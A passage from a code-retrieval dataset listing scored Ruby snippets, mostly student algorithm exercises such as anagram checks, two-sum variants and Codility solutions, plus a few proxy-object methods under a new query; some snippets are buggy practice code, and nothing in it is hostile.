"text": "def fourth_anagram?(str1, str2)\n hash1 = Hash.new(0)#O(1)\n beginning_time = Time.now\n str1.each_char {|char| hash1[char]+=1}#O(n)\n str2.each_char {|char| hash1[char]-=1}#O(n)\n hash1.all? {|_, v| v.zero?}#O(n)\n \"Time complexity of first_anagram: #{(Time.now - beginning_time)}\"\nend",
"title": ""
},
{
"docid": "e9506e5c5be49078757652976ec6068d",
"score": "0.58386457",
"text": "def solution(a)\n n = a.size\n passing_cars = 0\n\n suffix_sums = Array.new(n + 1, 0)\n\n a.reverse.each_with_index do |elem, i|\n suffix_sums[i + 1] = suffix_sums[i] + elem\n end\n suffix_sums.reverse!\n\n a.each_with_index do |car, i|\n if car == 0\n passing_cars += suffix_sums[i]\n end\n end\n\n passing_cars > 1_000_000_000 ? -1 : passing_cars\nend",
"title": ""
},
{
"docid": "b5653df4f83d5a2cf413d20a5afa9dff",
"score": "0.5831272",
"text": "def findDiffSquares(n)\n sum = 0\n (1..n).each { |i|\n (1..n).each { |j|\n sum += i*j unless i == j\n }\n }\n sum\nend",
"title": ""
},
{
"docid": "9a8accf5cd4b8ec522f7dbe0ae9a8a19",
"score": "0.58201677",
"text": "def running_time(array)\n cnt = 0\n (1...(array.length)).each do |x|\n y = x\n while y.positive?\n break unless array[y - 1] > array[y]\n\n temp_num = array[y]\n array[y] = array[y - 1]\n array[y - 1] = temp_num\n cnt += 1\n y -= 1\n end\n end\n cnt\nend",
"title": ""
},
{
"docid": "0e327f382de084efc59140ad2970b9b8",
"score": "0.5813277",
"text": "def solution(a)\n return 1 if a.empty?\n a.sort!\n return 1 if a.first > 1\n return a.first + 1 if a.length <2\n (0..(a.length)).each do |index|\n return a[index] + 1 if a[index] + 1 != a[index + 1]\n end\n return a.last + 1\nend",
"title": ""
},
{
"docid": "2594d3e4e7be8008e4ee79d543bd825a",
"score": "0.57925576",
"text": "def solution(a)\n counter = Hash.new(0)\n a.each do |elem|\n counter[elem] += 1\n end\n\n (1..a.size).each do |number|\n return 0 if counter[number] != 1\n end\n\n 1\nend",
"title": ""
},
{
"docid": "38ffe96ff4ce1afcf3894f81a46e4a5b",
"score": "0.5770679",
"text": "def solution(a)\n a.uniq.count\nend",
"title": ""
},
{
"docid": "093e9b005e7a3ce7cf5a9dfcda630341",
"score": "0.5768389",
"text": "def bad_two_sum?(arr, target)\n arr.each_with_index do |num1, idx1| #O(n)\n arr.each_with_index do |num2, idx2| #O(n)\n return true if idx2 > idx1 && num1 + num2 == target #O(1)\n end\n end\n false\nend",
"title": ""
},
{
"docid": "fd00c8815e9dde4ba60cfcee2ea39e0b",
"score": "0.5741326",
"text": "def two_sum?(arr, target_sum) # O(N)\n hash = Hash.new(0)\n count = Hash.new(0)\n\n arr.each do |num|\n hash[num] = target_sum - num\n count[num] += 1\n end\n\n hash.each do |key, value|\n if hash.has_key?(value) \n if key == value \n if count[value] > 1\n return true\n end\n else\n return true\n end\n end\n end\n\n false\nend",
"title": ""
},
{
"docid": "11d20b3a7e3ac9a2a4800817701e68d0",
"score": "0.57361573",
"text": "def solution(a)\n # write your code in Ruby 2.2\n seen = {}\n\n a.each do |number|\n seen[number] = true\n end\n\n max = a.max\n\n for i in 1..(max + 1)\n return i unless seen[i]\n end\n\n 1\nend",
"title": ""
},
{
"docid": "2f5b891d12715980b50b74119d59bced",
"score": "0.5730248",
"text": "def largest_contiguous_subsum(arr) #BigO of O(n)\n max = 0 \n current_sum = 0\n arr.each_with_index do |el,idx|\n if current_sum + el >= el \n current_sum += el \n else \n current_sum = el \n end \n max = current_sum if current_sum > max \n end \n max\nend",
"title": ""
},
{
"docid": "d45d411f74262d41ad851457afd5f575",
"score": "0.5714654",
"text": "def problem_57\n ret,n,d = 0,1,1\n 1000.times do |i|\n n,d = (n+2*d),(n+d)\n ret += 1 if n.to_s.length > d.to_s.length\n end\n ret\nend",
"title": ""
},
{
"docid": "3498231278181f6617d9cdd72f12aebd",
"score": "0.57071567",
"text": "def sub_sum(list)\n sub_arr = []\n (0...list.length).each do |i| #O(n)\n (i...list.length).each do |j| #O(n)\n sub_arr << list[i..j] if i <= j\n end\n end\n largest_continuous_sub_sum1(sub_arr)\nend",
"title": ""
},
{
"docid": "478ee0bf9ecedf34cd19dda0cedc3008",
"score": "0.5705423",
"text": "def remove_duplicates(nums)\n record_leng = 0\n uniq_arr = nums.uniq\n uniq_arr.each do |i|\n record_leng += 1 if count_great_two?(nums, i)\n end\n return (record_leng + uniq_arr.size)\nend",
"title": ""
},
{
"docid": "e625e8a723f51af4b24bfed22a83a7dd",
"score": "0.5696062",
"text": "def solution(a)\n # write your code in Ruby 2.2\n n = a.length\n \n counter = Array.new(n+1, 0)\n \n a.each do |x|\n counter[x-1] += 1\n end\n \n return counter.index { |x| x == 0 } + 1\nend",
"title": ""
},
{
"docid": "7bdd1bc6898a99677bc80a4bf4c2ba9a",
"score": "0.5687578",
"text": "def solution(a)\n len = a.size\n unique = {}\n i = 0\n while i < len\n item = a[i]\n if unique.has_key?(item)\n unique[item] += 1\n else\n unique[item] = 1\n end\n i += 1\n end\n pairs = 0\n unique.each do |key,count|\n (1...count).step {|n| pairs += n }\n end\n return pairs > 1_000_000_000 ? 1_000_000_000 : pairs\nend",
"title": ""
},
{
"docid": "bd329ec2d26f91e6d351152792a72fb9",
"score": "0.56870234",
"text": "def solution(a)\n # write your code in Ruby 2.2\n num_of_elements=a.length\n num_of_zeros=0\n tot_num_car_pairs=0\n a.each do |element|\n if element == 0\n num_of_zeros+=1\n else\n tot_num_car_pairs+=num_of_zeros\n end\n end\n return tot_num_car_pairs>1_000_000_000?-1:tot_num_car_pairs\nend",
"title": ""
},
{
"docid": "22cb57cc0084d3164f837a7656c38842",
"score": "0.56843185",
"text": "def naive_algorithm(arr)\n\tproduct = 0\n\tarr.each do |i|\n\t arr.each do |j|\n\t \tp = arr[i] * arr[j]\n\t \tproduct = p if product < p\n\t end\t\n\tend\t\t\n\tproduct\nend",
"title": ""
},
{
"docid": "bdac6fdcee24f076e4524fc328feca9b",
"score": "0.56703883",
"text": "def my_min_2(arr) #O(N)\n min_num = arr.first\n \n arr.each { |num| min_num = num if num < min_num }\n \n min_num\n end",
"title": ""
},
{
"docid": "bfc762f6ce338f12d93cd3054ac7e389",
"score": "0.5667688",
"text": "def my_min2 # O(n) time complexity\n smallest = self.first\n self.each do |num|\n sleep(1)\n smallest = num if num < smallest \n end\n smallest\n end",
"title": ""
},
{
"docid": "e637456d94903dc45f93fc154b8cd624",
"score": "0.5663716",
"text": "def seesaw2?(arr)\n left_sum = 0\n right_sum = arr.size > 1 ? arr[1..-1].reduce(:+) : 0\n\n arr.each_index do |i| #O(n)\n return true if left_sum == right_sum\n left_sum += arr[i]\n i < arr.size-1 ? right_sum -= arr[i+1] : right_sum = 0\n end\n return false\nend",
"title": ""
},
{
"docid": "07efb23ec0a15801ca70de38ba6f9068",
"score": "0.5652092",
"text": "def naive(array)\n max = -10000\n for i in (0..array.length - 1)\n for j in (i..array.length - 1)\n total = array[i..j].inject { |m,k| m + k }\n max = total if total > max\n end\n end\n max\nend",
"title": ""
},
{
"docid": "d02a1390536de38e741fb8eb3e613dc2",
"score": "0.5650164",
"text": "def my_min1(arr)\n arr.each do |el1| #O(n)\n if arr.all? {|el2| el1 <= el2 } #O(n + 1)\n return el1\n end\n end \nend",
"title": ""
},
{
"docid": "7e5a7334bf7240feb8ec05c4e99eb0ca",
"score": "0.56471646",
"text": "def sum_upon_sums(array)\n # Step 0: initialize variables => O(1)\n max = -1\n sum = 0\n\n # Step 1: Get Max and Sum => O(n)\n array.each do |num|\n max = num if num >= max\n sum += num\n end\n\n # Step 2: Get summation => O(1)\n summation = max * (max + 1) / 2\n\n # Step 3: Return Missing value by subtracting summation and sum => O(1)\n summation - sum\nend",
"title": ""
},
{
"docid": "a28ead081481ff91a42fd25a76c22045",
"score": "0.56436414",
"text": "def okay_two_sum?(arr, target)\n sorted = arr.sort # n log n => quicksort => is nlogn DOMINANT\n sorted.each_with_index do |num, i| # => O(n)\n # return true if sorted[i] + sorted[-1 - i] == target\n return true if sorted[i + 1 .. - 1].bsearch {|number| target - num <=> number} # => O(log(n))\n # ASK TA ABOUT BSEARCH\n # bsearch {|ele| pivot <=> ele}\n end\n false\nend",
"title": ""
},
{
"docid": "b9c7f3043ae40f67de0079790cdf3db4",
"score": "0.5642164",
"text": "def fifth_anagram?(word1, word2) # O(n)\n \n p \"Running fifth_anagram...\" \n\n start = Time.now\n \n hash1 = Hash.new(0)\n # hash2 = Hash.new(0)\n\n word1.each_char {|char| hash1[char] += 1}\n word2.each_char {|char| hash1[char] += 1}\n\n hash1.values.all? {|v| v.even?}\n\n\n # puts \"Took #{Time.now - start} seconds\"\n\n \nend",
"title": ""
},
{
"docid": "0250d227f29a83d9cd2ac26c8fcd7fcf",
"score": "0.5641758",
"text": "def solution(a)\n a.sort!\n a.each_with_index do |element, index|\n return 0 if element != index + 1\n end\n 1\nend",
"title": ""
},
{
"docid": "8cb56491f863f9070ac3c50d4889baf9",
"score": "0.5641541",
"text": "def stones(n, a, b)\n ar=[0]\n (n-1).times do |val|\n tmp=[]\n ar.each do |v|\n tmp << v+a if !tmp.include?(v+a)\n tmp << v+b if !tmp.include?(v+b)\n end\n ar=tmp\n end\n ar.sort\nend",
"title": ""
},
{
"docid": "a1fe43060a4407be5a71bafbaa1e36af",
"score": "0.56303096",
"text": "def solve( n = 10_000 )\n (1..n).select {|i| i.amicable?}.reduce( :+ )\n end",
"title": ""
},
{
"docid": "130a72a3e578522e83ab6f94422b7f90",
"score": "0.5609945",
"text": "def second_anagram?(word_1, word_2) #O(n^2)\n matching_word = word_2.split(\"\")\n\n word_1.each_char do |ele|\n if matching_word.index(ele) #evaluating the conditional\n matching_word.delete_at(matching_word.index(ele)) #n many times, do this\n end\n end\n\n matching_word.empty? #constant O(1)\nend",
"title": ""
},
{
"docid": "232e8ca0d378cb2032f5857b13d25224",
"score": "0.5602782",
"text": "def fds(n)\n\n # arr = []\n # (n + 1).times.each{|e| arr << e if e > 0}\n # arr.flat_map.reduce(:*)\n # arr.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n (1..n).to_a.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n\nend",
"title": ""
},
{
"docid": "0c8031548515fa51dfe2b024de63ef2e",
"score": "0.5597393",
"text": "def okay_two_sum?(arr, target)\r\n arr = arr.sort #n log n\r\n i, j = 0, arr.length - 1 #2\r\n\r\n while j > i #n\r\n curr_sum = arr[i] + arr[j]\r\n if curr_sum > target\r\n j -= 1\r\n elsif curr_sum < target\r\n i += 1\r\n else\r\n return true\r\n end\r\n end\r\n false\r\nend",
"title": ""
},
{
"docid": "b4f1596e31eca591d6ddb698735421d1",
"score": "0.55960786",
"text": "def sum_to_n? arr, n\n #arr.product(arr).any? {|c| sum(c) == n && c[0] != c[1] } ----1.3\n arr = arr.sort\n low = 0\n high = arr.length - 1\n while low < high\n if arr[low] + arr[high] == n\n return true\n end\n arr[low] + arr[high] < n ? low += 1 : high -= 1 \n end\n return false\nend",
"title": ""
},
{
"docid": "87b606426999da4ad9bb5ddcfe3d243d",
"score": "0.5589813",
"text": "def second_anagram?(word1, word2)\n p \"Running second_anagram?...\" \n\n start = Time.now\n word2 = word2.split(\"\") #O(n)\n word1.each_char do |char| #O(n)\n char_index = word2.index(char) #O(n)\n if char_index.nil? #O(1)\n return false #O(1)\n else\n word2.delete_at(char_index) #O(1)\n end\n end\n word2.empty? #O(1)\n p \"Took #{Time.now - start} seconds\"\nend",
"title": ""
},
{
"docid": "66853882f162154a4f860c5ba80383fc",
"score": "0.5588529",
"text": "def better_subsum(arr) # o(n)\n largest = 0 \n sum = 0 \n i = 0 \n j = 0\n\n while i != arr.length-1\n largest += arr[j]\n sum = largest if largest > sum \n if j == arr.length-1 \n i+=1 \n j = i \n largest = 0 \n else\n j+=1\n end \n end \n sum \n end",
"title": ""
},
{
"docid": "2681941780700d012e3c5c3ff966bbea",
"score": "0.5583828",
"text": "def solution(a)\n result = 0\n tmp_count = 0\n a.each_with_index do |val, idx|\n if val.zero?\n tmp_count += 1\n else\n result += tmp_count\n end\n end\n return result > 1000000000 ? -1 : result\nend",
"title": ""
},
{
"docid": "c567594f579e88bc17061f9329587fa8",
"score": "0.5576612",
"text": "def my_min_v2(arr) # O(n)\n num = arr[0]\n arr.each { |int| num = int if int < num }\n num\nend",
"title": ""
},
{
"docid": "1af3960e17784e5fc5845eee63332e9e",
"score": "0.5563747",
"text": "def amicable_numbers(n)\r\n numbers = Array.new\r\n 2.upto(n) do |x|\r\n y = d(x)\r\n if !numbers.include?(y)\r\n numbers.push(x,y) if d(y) == x && y != x\r\n end\r\n end\r\n return numbers\r\nend",
"title": ""
},
{
"docid": "afa78c0247b2ce9b869728a9c1b8da72",
"score": "0.55587095",
"text": "def two_sum_v3?(arr, target) \n hash = Hash.new\n arr.each { |ele| hash[ele] = ele } #o(n)\n arr.each do |ele| #o(n)\n search_value = target - ele\n return true if !hash[search_value].nil? && hash[search_value] != ele\n end\n false\nend",
"title": ""
},
{
"docid": "2fd5780f27e1aa7a0e2b25710b0d936c",
"score": "0.55534756",
"text": "def find_missing(array, n)\n i = 0\n\n (1..n).each { |number| i = i ^ number }\n array.each { |number| i = i ^ number }\n\n i\nend",
"title": ""
},
{
"docid": "fdf3ebf41a319a4d2f15b8cf2969d65a",
"score": "0.5551214",
"text": "def hash_two_sum(arr,target_sum)\n #creates a new hash with each element that is satisfying the target_sum\n hash = Hash.new(0) #{|h,k| h[k] = []}\n (0...arr.length).each { |i| hash[i] = arr[i]} #O(n)\nend",
"title": ""
},
{
"docid": "f1f2ef11997fd85f4a03f06ac52beed9",
"score": "0.55508137",
"text": "def two_sum(arr) #o(ns)\n set = Set.new\n arr.each{|el| set << el}\n arr.select{|el| set.include?(-1 * el)}\nend",
"title": ""
},
{
"docid": "fb6af3238f062ae1a2ea7e63d90e7151",
"score": "0.55424356",
"text": "def find_amicables(n)\n pairs = []\n sum = 0\n for i in 0..n do \n next if pairs.include? i\n d = sum_proper_divisors(i)\n next if d == i\n p = sum_proper_divisors(d)\n if p == i \n pairs << d\n pairs << i\n sum += d + i\n end\n end\n return sum\nend",
"title": ""
},
{
"docid": "9504849a215dc694b8e78abdb0e25b8d",
"score": "0.5540836",
"text": "def euler29(n)\n terms = []\n 2.upto(n) do |i|\n 2.upto(n) do |j|\n if terms.include?(i ** j) == false\n terms << i ** j\n end\n end\n end\n \n terms.length\nend",
"title": ""
},
{
"docid": "21565132fceec6101ea63a9b7611b3e1",
"score": "0.55387855",
"text": "def second_anagram?(str1, str2) #quadratic\r\n\r\n split = str2.split(\"\") #O(n)\r\n str1.split(\"\").each do |c| #O(n) <\r\n split.delete(c) #O(n) ^ O(n^2) when nested in above each block\r\n end\r\n\r\n split.empty?\r\nend",
"title": ""
},
{
"docid": "6073da548e0005d63ca834f8a31d9ddb",
"score": "0.5534788",
"text": "def solution(a)\r\n # write your code in Ruby 2.2\r\n \r\n arr =[]\r\n a.each_with_index{|el,i|\r\n \r\n if !arr.index(el) \r\n arr << el\r\n end\r\n \r\n }\r\n arr.count\r\nend",
"title": ""
},
{
"docid": "551e8e20ab7c35c556754bb1d6b4ca28",
"score": "0.5533991",
"text": "def okay_two_sum(arr, target)\n #O(n)\n arr.sort!\n i = 0\n j = arr.length - 1\n while i < j\n sum = arr[i] + arr[j]\n return true if sum == target\n if sum < target\n i += 1\n else\n j -= 1\n end\n end\n false\nend",
"title": ""
},
{
"docid": "7389cc1f998529e226d724e7c06c15e0",
"score": "0.5528914",
"text": "def pairSumSequence(n)\n sum = 0\n\n for i in 0..n\n # pairSum calls do not exist simultabeously on\n # the call stack, so you only need O(1) space\n sum += pairSum(i, i + 1)\n puts \"sum += (#{i + i + 1}) #{i} + #{i} + 1 \"\n end\n\n return sum\nend",
"title": ""
},
{
"docid": "f07c1f5136c76ab13a883c33df40e1dd",
"score": "0.5518229",
"text": "def anagram4(str1, str2)\n count = Hash.new(0) #O(1)\n \n str1.each_char do |char| #O(n)\n count[char] += 1 #O(1)\n end\n\n str2.each_char do |char| #O(n)\n count[char] -= 1 #O(1)\n end\n\n # count.values.uniq.length == 1\n count.values.each do |v| #O(n)\n return false if v > 0\n end\n true\nend",
"title": ""
},
{
"docid": "7ea13486c0697733959aa620a55e99db",
"score": "0.55136746",
"text": "def my_min(array) # O(n) - Linear\n counter = array[0]\n\n (1...array.length).each do |i|\n if counter > array[i]\n counter = array[i]\n end\n end\n counter\nend",
"title": ""
},
{
"docid": "7506d0c6cec2f05c8f24130a30f368ba",
"score": "0.5513106",
"text": "def isSumOfTwoAbundantNumbers n\n\n # we'll cycle over all abundant numbers less than n / 2\n if n / 2 < @@listOfAbundants.first\n return false\n end\n\n if @@listOfAbundants.last < n / 2\n for i in ((@@listOfAbundants.last + 1)..n)\n if isAbundant i\n @@listOfAbundants.push i\n end\n end\n end\n\n for a in @@listOfAbundants\n if a > n /2 \n return false\n end\n \n pair = n - a\n if @@listOfAbundants.include? pair\n return true\n end\n end\n\nend",
"title": ""
},
{
"docid": "f53ddbaae50513f65c30d400fc86503f",
"score": "0.55109954",
"text": "def largest_contiguous_subsum2(list)\n # O(N) ==> Time\n # O(1) ==> Space\n largest = list.first\n curr = list.first\n\n len = list.length\n (1...len).each do |i|\n curr = 0 if curr < 0 \n curr += list[i]\n largest = curr if curr > largest\n end\n largest\nend",
"title": ""
},
{
"docid": "ca52f6b3ea9fe61f71f092b1d7b39e57",
"score": "0.5506841",
"text": "def checkArray(a)\n\tn = a.length-1\n\tcount = 0\n\tfor i in 0..n do\n\t\tfor j in (i+1)..n do\n\t\t\tfor k in (j+1)..n do\n\t\t\t\tif (a[i] + a[j] + a[k] == 0)\n\t\t\t\t\tcount += 1\n\t\t\t\t\treturn count;\n\t\t\t\telse\n\t\t\t\t\treturn count;\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "a10569a59881c4c0ceeea8226546bdb3",
"score": "0.5504419",
"text": "def solution(x, a)\n perm = (1..x).to_a\n return -1 unless (perm - a).empty?\n a.index(a.uniq.last)\nend",
"title": ""
},
{
"docid": "220168f61e0742fc321fdce887bd180b",
"score": "0.5501712",
"text": "def two_sum?(arr, target_sum)\n hash = {}\n arr.each do |ele|\n diff = target_sum - ele\n return true if hash.has_key?(diff) # O(1), or constant time\n hash[ele] = 0\n end\n false\nend",
"title": ""
},
{
"docid": "bad2cca3d864ab4670502c4a998a21b6",
"score": "0.5499958",
"text": "def solution(a)\n return 0 if a.uniq.size != a.size\n \n max = a.size \n sum = (1 + max) * max / 2\n \n array_sum = a.inject(0, &:+) \n sum == array_sum ? 1 : 0 \nend",
"title": ""
},
{
"docid": "78dbe5c66c3c7dac5a025f544ef86461",
"score": "0.5492211",
"text": "def solution(a)\n s= a.sort\n 0.step(s.size - 1).inject(0) do |result, x|\n z= x+2\n (x+1).step(s.size - 1).inject(result) do |acc, y|\n z+=1 while z < s.size && s[x] + s[y] > s[z]\n acc += z-y-1\n end\n end\nend",
"title": ""
},
{
"docid": "bb1820c91cbfb4ca6d6e5861db7c94fb",
"score": "0.54912746",
"text": "def efficient_contiguous_subsum(list)\n current_sum = list[0] #0\n largest_sum = list[0] #5\n # debugger\n (1...list.length).each do |i| \n if current_sum + list[i] > 0 \n current_sum += list[i] \n largest_sum = current_sum if current_sum > largest_sum\n else \n current_sum = 0\n end \n end \n largest_sum\nend",
"title": ""
},
{
"docid": "e05081ddbd36f15eed6106c3fbec6865",
"score": "0.5491031",
"text": "def my_min(arr)\n l = arr.length - 1 # constant\n # min = 0 # is this more efficient than swapping? \n (0...l).each do |i| # n times1\n if arr[i] < arr[i+1] # 1\n arr[i], arr[i+1] = arr[i+1], arr[i] # 1\n end\n end\n\n arr.last # 1\nend",
"title": ""
},
{
"docid": "40876051aac31effc28301d2496b635a",
"score": "0.5487625",
"text": "def solution(a)\n ((1..a.size + 1).to_a - a).first\nend",
"title": ""
},
{
"docid": "8d1984c95934417b6f9c5114278e619a",
"score": "0.548214",
"text": "def isAbundant(n)\n return getDivSums(n) > n\nend",
"title": ""
},
{
"docid": "1f57f9854272d86e4b72449097b9ad6e",
"score": "0.54811245",
"text": "def largest_contiguous_subsum_1(list) \n subs = [] #O(1)\n (0...list.length).each do |start_num| #O(n)\n (start_num...list.length).each do |end_num| #O(n)\n subs << list[start_num..end_num] #O(n)\n end\n end\n subs_sum = [] #O(1)\n subs.each do |sub| #O(n**2)\n sub_sum = 0 #O(1)\n sub.each {|s| sub_sum += s} #O(n)\n subs_sum << sub_sum #O(1)\n end\n subs_sum.inject do |acc,el| #O(n)\n if acc > el #O(1)\n acc #O(1)\n else\n el #O(1)\n end\n end\n end",
"title": ""
},
{
"docid": "abb224f16b1f1ba21e9d47b6d2ed55a5",
"score": "0.5476984",
"text": "def sum_to_n? arr, n\n if arr.length > 1\n for i in arr do\n ndx = arr.find_index(i)\n x = arr.delete_at(ndx)\n if arr.include?(n - x)\n return true\n end\n arr.insert(ndx, x)\n end\n end\n return false\nend",
"title": ""
},
{
"docid": "d3f7c9a925a63a30d15ca78a19f3aa4e",
"score": "0.5475576",
"text": "def three_sum_fast(arr)\n arr = merge_sort(arr)\n count = 0\n\n (0..arr.length - 1).each { |i|\n (i + 1..arr.length - 1).each { |j|\n if bin_search(arr, -arr[i] - arr[j]) > j\n count += 1\n end\n }\n }\n count\nend",
"title": ""
},
{
"docid": "88bc1862146277e3e33ed6f320c52c27",
"score": "0.54753935",
"text": "def largest_contiguous_sub_sum2(arr)\n #one varable tracks largest sum\n #one variable tracks current sum\n #O(n) + O(1)\n # list = [2, 3, -6, 7, -6, 7]\n\n # largest_sum= arr.first\n\n # i = 0\n # arr_end = true\n\n # while arr_end\n # current_sum = arr[i]\n # if arr[i+1] == nil\n # arr_end = false\n # puts \"This is current sum: #{current_sum}\"\n # else\n # if current_sum > largest_sum\n # current_sum += arr[i+1]\n # largest_sum = current_sum\n # end\n # end\n # if i < arr.length\n # arr_end = true\n # i += 1\n # end\n # end\n # largest_sum\n \n\n\n # arr.each_with_index do |ele, idx|\n # if ele > largest_sum\n # largest_sum = ele\n # end\n\n # i = idx\n # sum = ele\n # while i < arr.length - 1\n # if sum <= sum + arr[i+1]\n # largest_sum = sum + arr[i+1]\n # end\n # sum = sum + arr[i+1]\n # i+=1\n # end\n # end\n # largest_sum\n\nend",
"title": ""
},
{
"docid": "3e6d4b4da710718ca73021b0599cd327",
"score": "0.5474406",
"text": "def move_zeros(array)\n zero_count = 0\n # O(n)\n array.each do |num|\n\n zero_count += 1 if num == 0\n end\n\n # O(n)\n array = array.select { |num| num != 0 }\n \n # O(1)\n zero_count.times do\n array += [0]\n end\n\n array\nend",
"title": ""
},
{
"docid": "155b4bbd65dc10017beb1e967daf291e",
"score": "0.5473447",
"text": "def solution(x, a)\r\n # write your code in Ruby 2.2\r\n arr=[];\r\n i=0;\r\n l=a.count\r\n \r\n while(arr.count<=x)\r\n \r\n if(arr[i].nil?)\r\n arr << i\r\n end\r\n \r\n i+=1\r\n end\r\n i\r\nend",
"title": ""
},
{
"docid": "c70f141c73c40aa6ad9fd3819cd3e9e4",
"score": "0.54676664",
"text": "def better_sum1(arr, target) # this one is going to return true or false\n pairs = Set.new\n\n arr.each do |ele|\n if pairs.include?(ele)\n return true\n else\n pairs << target - ele\n end\n end\n false\nend",
"title": ""
},
{
"docid": "9478fffba6a4e911d4c81f12c1246c59",
"score": "0.5467541",
"text": "def fourth_anagram?(str1, str2) # O(n)\n hash = Hash.new(0) # 1\n str1.each_char {|char| hash[char] += 1} # n\n str2.each_char {|char| hash[char] -= 1} # n\n\n hash.values.all?(0) # n\n\nend",
"title": ""
},
{
"docid": "2b00a8cafafc538a47343cb0c57c6885",
"score": "0.5466587",
"text": "def solution(a)\r\n # write your code in Ruby 2.2\r\n #trangular\r\n # a[0] = 10\r\n # a[2] = 5\r\n # a[4] = 8\r\n # 10 + 5 > 8\r\n # 5 + 8 > 10\r\n #8 + 10 > 5\r\n \r\n \r\n l=a.count\r\n \r\n i=0\r\n while(i<l) do\r\n j=i+1\r\n while(j<l) do\r\n k=j+1\r\n \r\n \r\n while(k<l) do\r\n if((a[i] + a[j] > a[k]) && (a[j] +a[k] > a[i]) && (a[k] + a[i] >a[j]))\r\n return 1\r\n end\r\n k+=1 \r\n end \r\n \r\n j+=1 \r\n end\r\n i+=1\r\n end\r\n \r\n return 0\r\n \r\nend",
"title": ""
},
{
"docid": "0abe1c8ae24cf09f64f1c752094b4c38",
"score": "0.54627",
"text": "def solution(a)\n counts = {}\n for i in a\n counts[i] ||= 0\n counts[i] += 1\n end\n for i in (1..a.count)\n return 0 if counts[i] != 1\n end\n return 1\nend",
"title": ""
},
{
"docid": "2c5090c0737e63ee23f1300ec3567b3d",
"score": "0.5462375",
"text": "def solution(a)\n # write your code in Ruby 2.2\n sum = a.inject(:+)\n acc = 0\n\n min = 99999999\n a[0..-2].each do |n|\n sum -= n\n acc += n\n\n min = [(acc - sum).abs, min].min\n end\n min\nend",
"title": ""
},
{
"docid": "6382e169d9a2f48d6306d3ba92eee028",
"score": "0.5461944",
"text": "def solution(a)\n # write your code in Ruby 2.2\n \n is_perm = 0\n \n n = a.length\n b = [0]*n\n \n \n a.each do |v|\n break if v > n \n break if b[v] == 1 \n b[v] = 1\n end\n \n sum = b.inject(:+)\n if sum == n\n is_perm = 1\n end\n \n is_perm\nend",
"title": ""
},
{
"docid": "91266abbc0608a7b867cb820f7f9667a",
"score": "0.5450283",
"text": "def sturges\n len = array.length\n return 1.0 if len == 0\n\n # return (long)(ceil(Math.log2(n)) + 1);\n return Math.log2(len).ceil + 1\n end",
"title": ""
},
{
"docid": "f347717a52490b428e11add15eaa0ca4",
"score": "0.54440516",
"text": "def solution_slow_2(n, p, q)\n sieve = sieve_of_erathosteneses(n)\n # puts \"sieve:#{sieve}\"\n semi = semiprimes(n, sieve)\n # puts \"sp:#{semi}\"\n prefix = [0,0,0,0,1]\n 5.upto(n) do |x|\n if semi.include? x \n prefix << prefix.last + 1\n else\n prefix << prefix.last\n end\n end\n # puts \"prefix:#{prefix}\"\n\n queries = [p,q].transpose\n\n\n res = queries.map do |query|\n prefix[query.last] - prefix[query.first - 1]\n end\n\n # puts \"res:#{res}\"\n\n res\n end",
"title": ""
},
{
"docid": "459e8c7fa69b32048057e683543abaea",
"score": "0.54437554",
"text": "def equal(arr)\n size = arr.size\n hash = Hash.new{|h,k| h[k] = []}\n (0...size).each do |i|\n (i + 1...size - 1).each do |j|\n sum = arr[i] + arr[j]\n if hash.has_key?(sum)\n values = hash[sum]\n values << i\n values << j\n return values\n else\n hash[sum] = [i, j]\n end\n end\n end\nend",
"title": ""
},
{
"docid": "0cd572be862829382e348880049e6589",
"score": "0.5437849",
"text": "def largest_cont_subsum_fast(list)\n # for constant size to be true, you cant create any variables\n # whose memory size depends on the size of the input\n curr_sum = list[0]\n largest_sum = list[0]\n\n # we know there are n^2 potential, so if we ever check all of them\n # it must be n^2\n\n # there must be a way to find the max without checking every subarray\n list[1..-1].each do |ele|\n # debugger\n if curr_sum > largest_sum\n largest_sum = curr_sum\n end\n\n if curr_sum < 0\n curr_sum = 0\n end\n\n curr_sum += ele\n\n end\n\n # debugger\n return [largest_sum, curr_sum].max\n\nend",
"title": ""
}
] |
2b71f567993f2fb1ff698031783baf46 | Create a new proxy instance, new real instance, and link them | [
{
"docid": "d916108a1ff551fc15fce46f4230a1ae",
"score": "0.0",
"text": "def initialize(klass, *args, &block)\n @_build_args = [klass, args, block]\n @_lock = ::Mutex.new\n @_count_lock = ::Mutex.new\n @_accessing_threads = []\n @_locker = nil\n @_locker_count = 0\n @_zoidberg_signal = nil\n @_thread_pool = ::Concurrent::CachedThreadPool.new\n @_supervised = klass.ancestors.include?(::Zoidberg::Supervise)\n end",
"title": ""
}
] | [
{
"docid": "295afd59e125020d287a2274dab896c3",
"score": "0.7393237",
"text": "def new_proxy\n Proxeze.for __getobj__\n end",
"title": ""
},
{
"docid": "2fee8b6952cb148fa313425c69dd580e",
"score": "0.7214917",
"text": "def proxy=(proxy); end",
"title": ""
},
{
"docid": "2fee8b6952cb148fa313425c69dd580e",
"score": "0.7214917",
"text": "def proxy=(proxy); end",
"title": ""
},
{
"docid": "4b8ae5a0df2d51ed213efe0b560ed009",
"score": "0.7170887",
"text": "def new_proxy http\n bind_proxy http, CallbackProxy.new\n end",
"title": ""
},
{
"docid": "b89eb464d3efe05ebfe4ea917a06c67a",
"score": "0.7109662",
"text": "def remote_proxied_new(klass, *args)\n klass.proxied_new *args\n end",
"title": ""
},
{
"docid": "ccab63b9bb489589d3b920ec185f8494",
"score": "0.70752096",
"text": "def instance\n configure\n proxy.instance\n end",
"title": ""
},
{
"docid": "dd07b2ed7d3ef764ec7146274cfe5318",
"score": "0.69855297",
"text": "def proxy\n @proxy ||= Proxies.new\n end",
"title": ""
},
{
"docid": "af59b3f9facb8fe15d4bbf899f9a6ab3",
"score": "0.69678265",
"text": "def proxy; end",
"title": ""
},
{
"docid": "af59b3f9facb8fe15d4bbf899f9a6ab3",
"score": "0.69678265",
"text": "def proxy; end",
"title": ""
},
{
"docid": "af59b3f9facb8fe15d4bbf899f9a6ab3",
"score": "0.69678265",
"text": "def proxy; end",
"title": ""
},
{
"docid": "af59b3f9facb8fe15d4bbf899f9a6ab3",
"score": "0.69678265",
"text": "def proxy; end",
"title": ""
},
{
"docid": "af59b3f9facb8fe15d4bbf899f9a6ab3",
"score": "0.69678265",
"text": "def proxy; end",
"title": ""
},
{
